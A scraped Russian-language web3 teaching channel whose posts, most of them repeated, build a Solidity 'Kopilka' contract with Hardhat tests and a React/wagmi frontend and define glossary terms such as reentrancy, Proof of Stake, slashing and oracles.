#словарь_райта · №12 - Реентерабельность
Представь: твоя функция перечисляет деньги и только потом обнуляет баланс. А получатель, не пассивный кошелёк, а код, который в момент получения вызывает твою функцию снова. И снова. И снова
Это reentrancy - повторный вход в функцию до того, как она закончила работу. В web2 похожее ловят в конкурентном коде. Колбэк или другой поток влезает между чтением и записью состояния. В web3 это атака №1 в истории: взлом The DAO в 2016-м увёл треть эфира проекта ровно этим приёмом и расколол Ethereum на две цепи
Лекарство простое и железное: сначала меняй состояние, потом переводи деньги (паттерн checks-effects-interactions)
Зачем тебе это слово: в посте 16 мы намеренно взломаем собственную Копилку этой атакой, а потом починим. Считай это спойлером
Райт · blockwright.eth
Представь: твоя функция перечисляет деньги и только потом обнуляет баланс. А получатель, не пассивный кошелёк, а код, который в момент получения вызывает твою функцию снова. И снова. И снова
Это reentrancy - повторный вход в функцию до того, как она закончила работу. В web2 похожее ловят в конкурентном коде. Колбэк или другой поток влезает между чтением и записью состояния. В web3 это атака №1 в истории: взлом The DAO в 2016-м увёл треть эфира проекта ровно этим приёмом и расколол Ethereum на две цепи
Лекарство простое и железное: сначала меняй состояние, потом переводи деньги (паттерн checks-effects-interactions)
Зачем тебе это слово: в посте 16 мы намеренно взломаем собственную Копилку этой атакой, а потом починим. Считай это спойлером
Райт · blockwright.eth
Наша Копилка работает, но она немая. Деньги приходят, а фронтенд, который мы напишем в блоке 3, узнать об этом не может, только опрашивать баланс по таймеру. Знакомо? Это же polling против websockets
Сегодня добавляем контракту голос
События - это дешёвые логи для тех, кто снаружи:
И это дёшево. deposit с событием сьест 22 962 газа против 21 272 без
Событие стоит ~1 690 газа, а это, на минуточку, в двенадцать раз дешевле, чем запись одного слота storage. А все потому, что лог write-only для контракта. Сети не нужно держать его в состоянии, доступном EVM
Правило архитектуры:
- Storage - это то, что контракт должен читать сам
- События - это то, что нужно людям и фронтендам
Ошибки повзрослели. В посте 7 мы писали
Это дешево (4 байта селектора вместо строки) и, что намного главнее для нас, типизированных, потому что это структурированная ошибка с параметрами. Фронтенд разберёт
Врезка: почему TODO-лист плохой смарт-контракт. Классическая ошибка новичка, тащить в блокчейн всё подряд, но мы теперь умеем считать. Каждая задача - слот storage (20 000 газа), каждая правка - транзакция с подписью и ожиданием блока. On-chain должно жить только то, что требует общего недоверчивого состояния, например, деньги, права, обязательства. TODO-лист не требует. Копилка, наоборот, требует. Она держит чужие деньги по правилам, которые никто не может переписать
Блок 2 закрыт. Мы умеем писать контракт, деплоить, считать его стоимость, упаковывать storage и говорить с внешним миром. В блоке 3 Копилка получит всё остальное: нормальное окружение разработки, тесты и React-фронтенд
Задание №10: Копилке просится третье событие -
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-10
Сегодня добавляем контракту голос
События - это дешёвые логи для тех, кто снаружи:
event Deposited(address indexed from, uint256 amount, uint256 total);
event Withdrawn(address indexed to, uint256 amount);
function deposit() external payable {
if (msg.value == 0) revert EmptyDeposit();
emit Deposited(msg.sender, msg.value, address(this).balance);
}
emit пишет запись в лог блока. Контракт сам прочитать её не может, зато внешний мир - вполне себе да. Фронтенд подписывается на события и обновляет UI мгновенно, индексаторы строят историю операций, Etherscan показывает человекочитаемую лентуИ это дёшево. deposit с событием сьест 22 962 газа против 21 272 без
Событие стоит ~1 690 газа, а это, на минуточку, в двенадцать раз дешевле, чем запись одного слота storage. А все потому, что лог write-only для контракта. Сети не нужно держать его в состоянии, доступном EVM
Правило архитектуры:
- Storage - это то, что контракт должен читать сам
- События - это то, что нужно людям и фронтендам
Ошибки повзрослели. В посте 7 мы писали
require(msg.sender == owner, "not the owner") - строка хранится в байткоде и улетает в ответ целиком. В Solidity 0.8.4 появились custom errors:error NotOwner();
error GoalNotReached(uint256 current, uint256 goal);
if (msg.sender != owner) revert NotOwner();
Это дешево (4 байта селектора вместо строки) и, что намного главнее для нас, типизированных, потому что это структурированная ошибка с параметрами. Фронтенд разберёт
GoalNotReached(3, 10) и покажет «накоплено 3 из 10», а не голый текст. Это исключения с типами против throw "строка"Врезка: почему TODO-лист плохой смарт-контракт. Классическая ошибка новичка, тащить в блокчейн всё подряд, но мы теперь умеем считать. Каждая задача - слот storage (20 000 газа), каждая правка - транзакция с подписью и ожиданием блока. On-chain должно жить только то, что требует общего недоверчивого состояния, например, деньги, права, обязательства. TODO-лист не требует. Копилка, наоборот, требует. Она держит чужие деньги по правилам, которые никто не может переписать
Блок 2 закрыт. Мы умеем писать контракт, деплоить, считать его стоимость, упаковывать storage и говорить с внешним миром. В блоке 3 Копилка получит всё остальное: нормальное окружение разработки, тесты и React-фронтенд
Задание №10: Копилке просится третье событие -
GoalReached. Напиши в комменты его сигнатуру и место, где его emit'итьРайт · blockwright.eth
github.com/blockwright/kopilka · tag post-10
Блок 3 открыт. Копилка написана и задеплоена - но всё это время мы работали как туристы: Remix в браузере, кнопка Deploy, ручные клики. Для первого контракта - идеально. Для продукта - нет. Нужны тесты, повторяемый деплой и сеть, которую не жалко ломать. Сегодня репо перестаёт быть витриной и становится рабочим станком
Инструмент - Hardhat. Это webpack/vite мира контрактов: компиляция, локальная сеть, тесты, деплой - одной CLI. Для нас выбор очевидный ещё и потому, что третья версия дружит с viem - тем самым, которым мы отправляли транзакцию в посте 5. Честности ради: есть и Foundry - быстрее, тесты пишутся на самом Solidity, его любят аудиторы. Но мы - JS-разработчики, и наш станок будет говорить на TypeScript
Ставим (Node 22.13+):
Получаем
Главный подарок - своя сеть. Одна команда:
- и у тебя личный Ethereum на localhost: мгновенные блоки, 20 аккаунтов с фейковыми 10 000 ETH на каждом, любые эксперименты бесплатно. Помнишь, как мы клянчили тестовый эфир из фосетов? Здесь ты сам себе фосет
Деплой - не клик, а код. Модуль для Hardhat Ignition:
Деплой стал воспроизводимым артефактом в git, а не действием, которое ты вспоминаешь по скриншотам. А для деплоя в Sepolia шаблон ждёт переменные
Задание №11: подними локальную ноду, задеплой в неё Копилку и пришли в комменты адрес, который выдал Ignition. Подсказка: он у всех будет одинаковый и это не баг. Кто первым объяснит почему - тому уважение под постом
Со следующего поста этот станок начнёт окупаться: пишем тесты - в web3 баг равен потерянным деньгам
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-11
Инструмент - Hardhat. Это webpack/vite мира контрактов: компиляция, локальная сеть, тесты, деплой - одной CLI. Для нас выбор очевидный ещё и потому, что третья версия дружит с viem - тем самым, которым мы отправляли транзакцию в посте 5. Честности ради: есть и Foundry - быстрее, тесты пишутся на самом Solidity, его любят аудиторы. Но мы - JS-разработчики, и наш станок будет говорить на TypeScript
Ставим (Node 22.13+):
npx hardhat --init
# шаблон: node-test-runner-viem, и проект готов
Получаем
hardhat.config.ts (конфиг - тоже TypeScript), папки contracts/, test/, ignition/. Кладём нашу Kopilka.sol в contracts/ - и:npx hardhat compile
Главный подарок - своя сеть. Одна команда:
npx hardhat node
- и у тебя личный Ethereum на localhost: мгновенные блоки, 20 аккаунтов с фейковыми 10 000 ETH на каждом, любые эксперименты бесплатно. Помнишь, как мы клянчили тестовый эфир из фосетов? Здесь ты сам себе фосет
Деплой - не клик, а код. Модуль для Hardhat Ignition:
// ignition/modules/Kopilka.ts
import { buildModule } from "@nomicfoundation/hardhat-ignition/modules";
import { parseEther } from "viem";
export default buildModule("KopilkaModule", (m) => {
const goal = m.getParameter("goal", parseEther("0.001"));
return { kopilka: m.contract("Kopilka", [goal]) };
});
npx hardhat ignition deploy ignition/modules/Kopilka.ts
Деплой стал воспроизводимым артефактом в git, а не действием, которое ты вспоминаешь по скриншотам. А для деплоя в Sepolia шаблон ждёт переменные
SEPOLIA_RPC_URL и SEPOLIA_PRIVATE_KEY - да, ровно те, что лежат у нас в .env с поста 5. Совпадение? Нет, стандарт де-фактоЗадание №11: подними локальную ноду, задеплой в неё Копилку и пришли в комменты адрес, который выдал Ignition. Подсказка: он у всех будет одинаковый и это не баг. Кто первым объяснит почему - тому уважение под постом
Со следующего поста этот станок начнёт окупаться: пишем тесты - в web3 баг равен потерянным деньгам
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-11
❤1
#словарь_райта · №13 - Proof of Work
Из комментариев: «вычисление хешей - основной момент энергозатрат в блокчейне». Разберём, потому что энергию жгло не вычисление
На поиск одного хеша нужны наносекунды, это копеечная операция. Proof of Work - это лотерея, чтобы получить право записать блок, майнер перебирает варианты, пока хеш блока не окажется меньше заданного порога. Квинтиллионы попыток в секунду по всей сети ради одного «красивого» хеша. Дорога не функция - дорог перебор
Зачем так странно? Это способ сделать запись в общий лог дорогой без всякого начальника, если хочешь переписать историю - пересчитай всю работу заново, а сеть за это время уйдёт вперёд. Защита не паролем, а физикой. Атака стоит электричества больше, чем принесёт
Зачем тебе это слово: Bitcoin живёт на PoW до сих пор. А Ethereum ушёл с него в 2022. Куда и почему, в следующем выпуске
Райт · blockwright.eth
Из комментариев: «вычисление хешей - основной момент энергозатрат в блокчейне». Разберём, потому что энергию жгло не вычисление
На поиск одного хеша нужны наносекунды, это копеечная операция. Proof of Work - это лотерея, чтобы получить право записать блок, майнер перебирает варианты, пока хеш блока не окажется меньше заданного порога. Квинтиллионы попыток в секунду по всей сети ради одного «красивого» хеша. Дорога не функция - дорог перебор
Зачем так странно? Это способ сделать запись в общий лог дорогой без всякого начальника, если хочешь переписать историю - пересчитай всю работу заново, а сеть за это время уйдёт вперёд. Защита не паролем, а физикой. Атака стоит электричества больше, чем принесёт
Зачем тебе это слово: Bitcoin живёт на PoW до сих пор. А Ethereum ушёл с него в 2022. Куда и почему, в следующем выпуске
Райт · blockwright.eth
#словарь_райта · №14 - Proof of Stake
Proof of Work делает запись в общий лог дорогой через электричество. Proof of Stake делает её дорогой через залог
Хочешь стать валидатором Ethereum - заблокируй 32 ETH депозитом. Сеть случайно выбирает, кто предлагает следующий блок, и шанс пропорционален стейку. Никакого перебора хешей, подписал блок - получил награду. По энергии валидатор - обычный сервер, а не завод.
Где же защита, если работать стало дёшево? В том, что депозит можно потерять. За нарушение протокола сеть сожжёт часть твоего стейка автоматически. Злоумышленнику теперь нужно не железо, а капитал - и этот капитал сгорает при атаке. Электричество заменили деньгами под залогом
Зачем тебе это слово: весь Ethereum, где живёт наша Копилка, работает так с 2022 года. А механизм сожжения залога называется слэшинг и про него следующий выпуск
Райт · blockwright.eth
Proof of Work делает запись в общий лог дорогой через электричество. Proof of Stake делает её дорогой через залог
Хочешь стать валидатором Ethereum - заблокируй 32 ETH депозитом. Сеть случайно выбирает, кто предлагает следующий блок, и шанс пропорционален стейку. Никакого перебора хешей, подписал блок - получил награду. По энергии валидатор - обычный сервер, а не завод.
Где же защита, если работать стало дёшево? В том, что депозит можно потерять. За нарушение протокола сеть сожжёт часть твоего стейка автоматически. Злоумышленнику теперь нужно не железо, а капитал - и этот капитал сгорает при атаке. Электричество заменили деньгами под залогом
Зачем тебе это слово: весь Ethereum, где живёт наша Копилка, работает так с 2022 года. А механизм сожжения залога называется слэшинг и про него следующий выпуск
Райт · blockwright.eth
В web2 у бага есть жизненный цикл: заметили в проде, откатили, захотфиксили, извинились в постмортеме, все счастливы. В web3 этого цикла нет. Контракт после деплоя не изменить, а внутри лежат чужие деньги. Помнишь словарь №12 про The DAO? Тот код тоже прошёл ревью. Тесты здесь - не «культура разработки», а инстинкт выживания
Хорошая новость: станок из прошлого поста уже всё умеет. Тесты пишутся на TypeScript, раннер - родной
Обрати внимание, что мы утверждаем: не «вернулась ошибка», а «транзакция откатилась именно с NotOwner». Custom errors из поста 10 внезапно оказались нужны не только фронтенду - тесты по ним проверяют, что контракт отказал по правильной причине. Отказал - но не по той причине - это тоже баг, просто затаившийся
А вот главный тест любого контракта с деньгами - куда они пришли:
Одна строка утверждает: после withdraw владелец стал богаче ровно на сумму цели, с поправкой на газ. Такой ассерт невозможно обмануть красивым логом.
Полный набор - семь тестов в репо: деплой, приём депозита с событием, нулевой депозит, чужой withdraw, withdraw до цели (с проверкой цифр в GoalNotReached), вывод всей суммы, событие Withdrawn. Каждый тест поднимает свежую сеть в памяти и живёт миллисекунды - прогон быстрее, чем ты читаешь это предложение
Чему учит сам список: тестируй отказы прилежнее, чем успехи. Успешный путь ты и так прогонял руками сто раз. Деньги теряют на путях, по которым никто не ходил: нулевые значения, вызов не тем аккаунтом, состояние «на границе» цели
Задание №12: посмотри на Копилку и предложи в комментах edge case, который я не покрыл. Их осталось минимум три, один из них - с сюрпризом. Лучший разберу в следующем посте
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-12
Хорошая новость: станок из прошлого поста уже всё умеет. Тесты пишутся на TypeScript, раннер - родной
node:test, никакого нового фреймворка учить не надоit("withdraw чужаком откатывается: NotOwner", async () => {
const kopilka = await deploy();
await kopilka.write.deposit({ value: GOAL });
await viem.assertions.revertWithCustomError(
kopilka.write.withdraw({ account: stranger.account }),
kopilka,
"NotOwner",
);
});Обрати внимание, что мы утверждаем: не «вернулась ошибка», а «транзакция откатилась именно с NotOwner». Custom errors из поста 10 внезапно оказались нужны не только фронтенду - тесты по ним проверяют, что контракт отказал по правильной причине. Отказал - но не по той причине - это тоже баг, просто затаившийся
А вот главный тест любого контракта с деньгами - куда они пришли:
await viem.assertions.balancesHaveChanged(
kopilka.write.withdraw(),
[{ address: owner.account.address, amount: GOAL }],
);
Одна строка утверждает: после withdraw владелец стал богаче ровно на сумму цели, с поправкой на газ. Такой ассерт невозможно обмануть красивым логом.
Полный набор - семь тестов в репо: деплой, приём депозита с событием, нулевой депозит, чужой withdraw, withdraw до цели (с проверкой цифр в GoalNotReached), вывод всей суммы, событие Withdrawn. Каждый тест поднимает свежую сеть в памяти и живёт миллисекунды - прогон быстрее, чем ты читаешь это предложение
Чему учит сам список: тестируй отказы прилежнее, чем успехи. Успешный путь ты и так прогонял руками сто раз. Деньги теряют на путях, по которым никто не ходил: нулевые значения, вызов не тем аккаунтом, состояние «на границе» цели
Задание №12: посмотри на Копилку и предложи в комментах edge case, который я не покрыл. Их осталось минимум три, один из них - с сюрпризом. Лучший разберу в следующем посте
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-12
#словарь_райта · №15 - Слэшинг
В web2 за нарушение SLA поставщику грозит штраф - если юристы дожмут. В web3 штраф зашит в протокол и исполняется кодом: это слэшинг
Валидатор Ethereum работает под минимальным залогом в 32 ETH. Подписал два разных блока на одну позицию, проголосовал противоречиво - сеть сжигает часть депозита и выгоняет из валидаторов, без суда и следствия, потому что доказательство нарушения криптографическое, и наказание автоматическое
Тонкость кроется в шкале. Случайно упавший сервер стоит копейки, протокол отличает сбой от атаки, но все же стоит копейки, поэтому каждый валидатор стремится к 100% up time. Но чем больше валидаторов нарушают одновременно, тем больнее каждому. Скоординированный сговор на откат финализированного блока сжигает минимум треть всего стейка сети, а это, на минуточку, миллиарды долларов одним событием. Одиночная ошибка прощается, картель никогда
Зачем тебе это слово: это ответ на вопрос «а что если валидаторы сговорятся». Сговор не запрещён - он тарифицирован
Райт · blockwright.eth
В web2 за нарушение SLA поставщику грозит штраф - если юристы дожмут. В web3 штраф зашит в протокол и исполняется кодом: это слэшинг
Валидатор Ethereum работает под минимальным залогом в 32 ETH. Подписал два разных блока на одну позицию, проголосовал противоречиво - сеть сжигает часть депозита и выгоняет из валидаторов, без суда и следствия, потому что доказательство нарушения криптографическое, и наказание автоматическое
Тонкость кроется в шкале. Случайно упавший сервер стоит копейки, протокол отличает сбой от атаки, но все же стоит копейки, поэтому каждый валидатор стремится к 100% up time. Но чем больше валидаторов нарушают одновременно, тем больнее каждому. Скоординированный сговор на откат финализированного блока сжигает минимум треть всего стейка сети, а это, на минуточку, миллиарды долларов одним событием. Одиночная ошибка прощается, картель никогда
Зачем тебе это слово: это ответ на вопрос «а что если валидаторы сговорятся». Сговор не запрещён - он тарифицирован
Райт · blockwright.eth
❤1
Двенадцать постов наш контракт жил в терминале. Сегодня у него появляется страница в браузере: кнопка «подключить кошелёк» и живой прогресс накопления. Стек - React + wagmi: это хуки поверх viem, того самого из поста 5. Круг замкнулся
Каркас. Обычный Vite-проект плюс три пакета:
Оборачиваем приложение в
Подключение кошелька — это не логин:
Никакого бэкенда, сессий и паролей. Браузерный кошелёк просто сообщает странице адрес. Подпись из поста 3 понадобится позже, когда будем отправлять транзакции. Чтение бесплатно и доступно даже без подключения
Читаем контракт как хук:
Под капотом знакомая цепочка - ABI (словарь №10) кодирует вызов, JSON-RPC (пост 4) везёт его на ноду. wagmi добавляет поверх кеш и статусы загрузки через TanStack Query. Для React-разработчика это выглядит ровно как привычный серверный запрос
Реактивность - самое красивое. В web2 за «обновись при изменениях» отвечают websockets и ручная инвалидация. В web3 у вселенной есть встроенный тикер - блоки:
Новый блок - перечитали прогресс. Кто-то положил деньги в Копилку с другого конца света - твоя страница узнает через 12 секунд, без единой строчки серверного кода. Помнишь события из поста 10? Скоро подпишемся и на них - будет мгновенно.
Весь фронт это три файла в
Задание №13: подними фронт против локальной ноды, закинь депозит через MetaMask (сеть Hardhat, RPC http://127.0.0.1:8545, chainId 31337) и посмотри, как прогресс обновится сам. Скрин страницы жду в комментах
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-13
Каркас. Обычный Vite-проект плюс три пакета:
wagmi@2 viem @tanstack/react-query (важно: именно wagmi второй версии, буквально на днях вышла v3 с переименованными хуками, апгрейд разберём отдельно). Конфиг - какие сети знаем и как подключаемся:export const config = createConfig({
chains: [hardhat, sepolia], // локальный станок из поста 11 — тоже сеть
connectors: [injected()], // MetaMask и любой браузерный кошелёк
transports: { [hardhat.id]: http(), [sepolia.id]: http() },
});Оборачиваем приложение в
WagmiProvider + QueryClientProvider и хуки доступны в любом компонентеПодключение кошелька — это не логин:
const { address, isConnected } = useAccount();
const { connect, connectors } = useConnect();
if (!isConnected)
return <button onClick={() => connect({ connector: connectors[0] })}>
Подключить кошелёк
</button>;Никакого бэкенда, сессий и паролей. Браузерный кошелёк просто сообщает странице адрес. Подпись из поста 3 понадобится позже, когда будем отправлять транзакции. Чтение бесплатно и доступно даже без подключения
Читаем контракт как хук:
const { data: progress, queryKey } = useReadContract({
abi: kopilkaAbi,
address: KOPILKA_ADDRESS,
functionName: "progress",
});
// progress = [накоплено, цель] — тот самый метод из поста 7Под капотом знакомая цепочка - ABI (словарь №10) кодирует вызов, JSON-RPC (пост 4) везёт его на ноду. wagmi добавляет поверх кеш и статусы загрузки через TanStack Query. Для React-разработчика это выглядит ровно как привычный серверный запрос
Реактивность - самое красивое. В web2 за «обновись при изменениях» отвечают websockets и ручная инвалидация. В web3 у вселенной есть встроенный тикер - блоки:
const queryClient = useQueryClient();
const { data: blockNumber } = useBlockNumber({ watch: true });
useEffect(() => {
queryClient.invalidateQueries({ queryKey });
}, [blockNumber]);
Новый блок - перечитали прогресс. Кто-то положил деньги в Копилку с другого конца света - твоя страница узнает через 12 секунд, без единой строчки серверного кода. Помнишь события из поста 10? Скоро подпишемся и на них - будет мгновенно.
Весь фронт это три файла в
frontend/ репо. Запуск: npx hardhat node в одном терминале, деплой из поста 11, npm run dev - и твой контракт смотрит на тебя из браузераЗадание №13: подними фронт против локальной ноды, закинь депозит через MetaMask (сеть Hardhat, RPC http://127.0.0.1:8545, chainId 31337) и посмотри, как прогресс обновится сам. Скрин страницы жду в комментах
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-13
#словарь_райта · №16 - Оракул
В словаре №8 мы выяснили: контракт живёт в детерминированной клетке - ни fetch(), ни random, ни часов. Но контрактам нужен курс доллара, результат матча, погода. Как ему быть?
Оракул - это курьер между мирами: сервис, который берёт данные снаружи и заносит их в блокчейн обычной транзакцией. Записанное в блок детерминировано для всех - клетка не нарушена, данные внутри
Подвох очевиден: мы построили систему, где не надо верить никому и поставили на входе сервис, которому надо верить. Это «проблема оракула», и решают её так же, как консенсус. Данные приносят десятки независимых узлов, контракт берёт медиану, поставщики работают под залогом. Так устроен Chainlink - крупнейшая сеть оракулов
Зачем тебе это слово: почти каждый взлом DeFi из новостей - это не «сломали блокчейн», а обманули оракул с ценой. Запомни это место - сюда бьют
Райт · blockwright.eth
В словаре №8 мы выяснили: контракт живёт в детерминированной клетке - ни fetch(), ни random, ни часов. Но контрактам нужен курс доллара, результат матча, погода. Как ему быть?
Оракул - это курьер между мирами: сервис, который берёт данные снаружи и заносит их в блокчейн обычной транзакцией. Записанное в блок детерминировано для всех - клетка не нарушена, данные внутри
Подвох очевиден: мы построили систему, где не надо верить никому и поставили на входе сервис, которому надо верить. Это «проблема оракула», и решают её так же, как консенсус. Данные приносят десятки независимых узлов, контракт берёт медиану, поставщики работают под залогом. Так устроен Chainlink - крупнейшая сеть оракулов
Зачем тебе это слово: почти каждый взлом DeFi из новостей - это не «сломали блокчейн», а обманули оракул с ценой. Запомни это место - сюда бьют
Райт · blockwright.eth
#словарь_райта · №17 - Снапшот
Подписчик привёл в комментах красивую аналогию: MPEG хранит не все кадры целиком, а ключевые кадры плюс изменения между ними. Это ровно та пара, на которой стоит любая система с историей событий
Проблема: если состояние - это сумма всех событий (словарь №1), то узнать «сколько сейчас» значит перечитать всё с начала. Для дерева - терпимо, для лога на миллиарды записей - нет
Решение: периодически сохраняй снимок состояния - снапшот. Дальше не реплеишь историю с нуля, а берёшь ближайший снимок и накатываешь только хвост. Ключевой кадр + дельты. Контрольная точка в игре + путь от неё
Так стартует и нода Ethereum: не с генезис-блока 2015 года, а с доверенного свежего снапшота состояния плюс последние блоки. Часы вместо недель
Зачем тебе это слово: снапшот - универсальный трюк. Найдёшь его в Redis, в Kafka, в бэкапах, в React DevTools - и теперь в блокчейне
Райт · blockwright.eth
Подписчик привёл в комментах красивую аналогию: MPEG хранит не все кадры целиком, а ключевые кадры плюс изменения между ними. Это ровно та пара, на которой стоит любая система с историей событий
Проблема: если состояние - это сумма всех событий (словарь №1), то узнать «сколько сейчас» значит перечитать всё с начала. Для дерева - терпимо, для лога на миллиарды записей - нет
Решение: периодически сохраняй снимок состояния - снапшот. Дальше не реплеишь историю с нуля, а берёшь ближайший снимок и накатываешь только хвост. Ключевой кадр + дельты. Контрольная точка в игре + путь от неё
Так стартует и нода Ethereum: не с генезис-блока 2015 года, а с доверенного свежего снапшота состояния плюс последние блоки. Часы вместо недель
Зачем тебе это слово: снапшот - универсальный трюк. Найдёшь его в Redis, в Kafka, в бэкапах, в React DevTools - и теперь в блокчейне
Райт · blockwright.eth
В посте 13 наша страница научилась читать контракт. Сегодня научится писать. Добавилась кнопка «Закинуть 0.01 ETH», которая отправляет настоящую транзакцию. И вот тут web3 показывает своё главное отличие от web2 в интерфейсах
В web2 у кнопки один спиннер. Нажал - loading - готово. В web3 ожиданий два, и они принципиально разные
Ожидание №1 - человек.
Ожидание №2 - мир. Подписал - транзакция ушла в очередь (словарь №5, мемпул) и ждёт своего блока.
Сама запись - почти как чтение, только с деньгами:
А кнопка честно рассказывает, кого ждём:
Самое красивое, что происходит после. Ничего. Никакого
Задание №14: добавь кнопку в свой фронт из поста 13, закинь депозит и поймай скрин с «Транзакция в пути…». Бонус: нажми «Отклонить» в MetaMask и посмотри, что вернётся в
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-14
В web2 у кнопки один спиннер. Нажал - loading - готово. В web3 ожиданий два, и они принципиально разные
const { writeContract, data: hash, isPending } = useWriteContract();
const { isLoading: isMining, isSuccess } =
useWaitForTransactionReceipt({ hash });Ожидание №1 - человек.
isPending - это «MetaMask открылся, ждём подпись». Помнишь пост 3, где мы подписывали сообщения из консоли? Вот момент, ради которого всё это было: страница не может потратить твои деньги - она может только попросить, а подпись остаётся за владельцем ключаОжидание №2 - мир. Подписал - транзакция ушла в очередь (словарь №5, мемпул) и ждёт своего блока.
isMining - это оно. На локальной ноде мгновенно, в мейннете те самые ~12 секунд.Сама запись - почти как чтение, только с деньгами:
writeContract({
abi: kopilkaAbi,
address: KOPILKA_ADDRESS,
functionName: "deposit",
value: parseEther("0.01"), // payable: деньги едут прямо в вызове
});А кнопка честно рассказывает, кого ждём:
<button onClick={deposit} disabled={isPending || isMining}>
{isPending ? "Подпиши в кошельке…"
: isMining ? "Транзакция в пути…"
: "Закинуть 0.01 ETH"}
</button>Самое красивое, что происходит после. Ничего. Никакого
setState, никакого рефетча руками: транзакция попала в блок, сработал тикер из поста 13 - и прогресс-бар обновился сам. Запись и чтение встретилисьЗадание №14: добавь кнопку в свой фронт из поста 13, закинь депозит и поймай скрин с «Транзакция в пути…». Бонус: нажми «Отклонить» в MetaMask и посмотри, что вернётся в
error - отказ человека здесь штатное состояние, а не катастрофаРайт · blockwright.eth
github.com/blockwright/kopilka · tag post-14
#словарь_райта · №18 - Форк
git-термин, который блокчейн взял без изменений - потому что блокчейн и есть распределённый репозиторий, у которого миллионы «разработчиков» и одна ветка main
Форк - это когда цепочка раздваивается. Мелкие форки случаются каждый день сами собой. Два валидатора почти одновременно предложили блок - сеть недолго живёт двумя версиями, потом консенсус выбирает одну, вторая отмирает. Это git merge, который происходит автоматически каждые 12 секунд
Интереснее форки-решения. Обновление правил протокола - хард-форк. Вся сеть переходит на новую версию согласованно (наш недавний пример - Pectra). А иногда сообщество раскалывается: в 2016 после взлома The DAO часть сети откатила украденное, часть отказалась трогать историю. Обе цепочки живы до сих пор - Ethereum и Ethereum Classic. Один репозиторий, два несовместимых мировоззрения
Зачем тебе это слово: форк - последний уровень защиты из разговора про сговор. Если атакующие купят большинство - честное меньшинство просто заберёт историю и уйдёт
Райт · blockwright.eth
git-термин, который блокчейн взял без изменений - потому что блокчейн и есть распределённый репозиторий, у которого миллионы «разработчиков» и одна ветка main
Форк - это когда цепочка раздваивается. Мелкие форки случаются каждый день сами собой. Два валидатора почти одновременно предложили блок - сеть недолго живёт двумя версиями, потом консенсус выбирает одну, вторая отмирает. Это git merge, который происходит автоматически каждые 12 секунд
Интереснее форки-решения. Обновление правил протокола - хард-форк. Вся сеть переходит на новую версию согласованно (наш недавний пример - Pectra). А иногда сообщество раскалывается: в 2016 после взлома The DAO часть сети откатила украденное, часть отказалась трогать историю. Обе цепочки живы до сих пор - Ethereum и Ethereum Classic. Один репозиторий, два несовместимых мировоззрения
Зачем тебе это слово: форк - последний уровень защиты из разговора про сговор. Если атакующие купят большинство - честное меньшинство просто заберёт историю и уйдёт
Райт · blockwright.eth
Что здесь происходит
Я Райт. Учу web3-инженерии и строю её у вас на глазах:
⚒️ Blockwright Wallet — некастодиальный кошелёк, пишу с нуля. BTC уже в релизе, ETH — на этой неделе
⚒️ Blockwright Academy — дерево навыков для JS-разработчиков, строится в открытую
⚒️ blockwright.dev — сайт проекта, только что запущен — загляните
Рубрики: серия «с нуля до web3» — вт и чт · «Словарь Райта» — пн, ср, пт
Сайт: blockwright.dev
EN-версия стройки: x.com/blockwright_dev
Статьи: habr.com/ru/users/Blockwright
Я Райт. Учу web3-инженерии и строю её у вас на глазах:
⚒️ Blockwright Wallet — некастодиальный кошелёк, пишу с нуля. BTC уже в релизе, ETH — на этой неделе
⚒️ Blockwright Academy — дерево навыков для JS-разработчиков, строится в открытую
⚒️ blockwright.dev — сайт проекта, только что запущен — загляните
Рубрики: серия «с нуля до web3» — вт и чт · «Словарь Райта» — пн, ср, пт
Сайт: blockwright.dev
EN-версия стройки: x.com/blockwright_dev
Статьи: habr.com/ru/users/Blockwright
Помнишь пост 10? Мы добавили в Копилку
Тикер против подписки. В посте 13 мы сделали реактивность через «новый блок → перечитай всё». Это работает, но это опрос: страница каждые 12 секунд переспрашивает «а что там?». Знакомо по web2 - так выглядит polling. А события - это webhook: не спрашивай, тебе скажут. Причём скажут с подробностями:
Тикер из поста 13 отвечал на вопрос «изменилось ли что-то?». Событие отвечает на вопрос «что именно произошло?» - кто положил, сколько, и каким стал баланс. Разница как между «в базе что-то поменялось» и нормальным pub/sub
Живая лента за 15 строк. Складываем приходящие события в стейт - и у Копилки появляется лента депозитов, как лента переводов в банковском приложении:
Заметь: никакого бэкенда, который агрегирует переводы, никакой базы, никакого API для ленты. История уже лежит в блокчейне - мы просто подписались на её хвост
Этим постом закрывается блок 3. Посмотри, что у нас в руках: контракт с событиями и кастомными ошибками, семь тестов на node:test, фронт с кошельком, чтением, записью и живой лентой. Это не учебные кусочки - это полный dApp, такой же по строению, как Uniswap, только маленький
Задание №15: добавь ленту, открой страницу в двух окнах - и сделай депозит из одного. Второе узнает само. А если хочется магии погуще - импортируй в MetaMask второй аккаунт из hardhat node и закинь депозит «от чужого имени»: лента покажет другой адрес
В следующем посте начнём блок 4 - и начнём с преступления: мы нашу Копилку взломаем. По-настоящему
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-15
emit Deposited(...) и заплатили за него ~1 700 газа. Я тогда сказал: событие - это крик в журнал, который контракт сам никогда не прочитает. Сегодня выясняется, для кого мы кричалиТикер против подписки. В посте 13 мы сделали реактивность через «новый блок → перечитай всё». Это работает, но это опрос: страница каждые 12 секунд переспрашивает «а что там?». Знакомо по web2 - так выглядит polling. А события - это webhook: не спрашивай, тебе скажут. Причём скажут с подробностями:
useWatchContractEvent({
abi: kopilkaAbi,
address: KOPILKA_ADDRESS,
eventName: "Deposited",
onLogs(logs) {
// кто, сколько, и каким стал баланс — прямо в аргументах
logs.forEach((log) =>
console.log(log.args.from, log.args.amount, log.args.total),
);
},
});Тикер из поста 13 отвечал на вопрос «изменилось ли что-то?». Событие отвечает на вопрос «что именно произошло?» - кто положил, сколько, и каким стал баланс. Разница как между «в базе что-то поменялось» и нормальным pub/sub
Живая лента за 15 строк. Складываем приходящие события в стейт - и у Копилки появляется лента депозитов, как лента переводов в банковском приложении:
const [feed, setFeed] = useState<string[]>([]);
// в onLogs:
setFeed((prev) => [
...logs.map((log) =>
`+${formatEther(log.args.amount ?? 0n)} ETH от ${log.args.from?.slice(0, 8)}…`),
...prev,
].slice(0, 5));
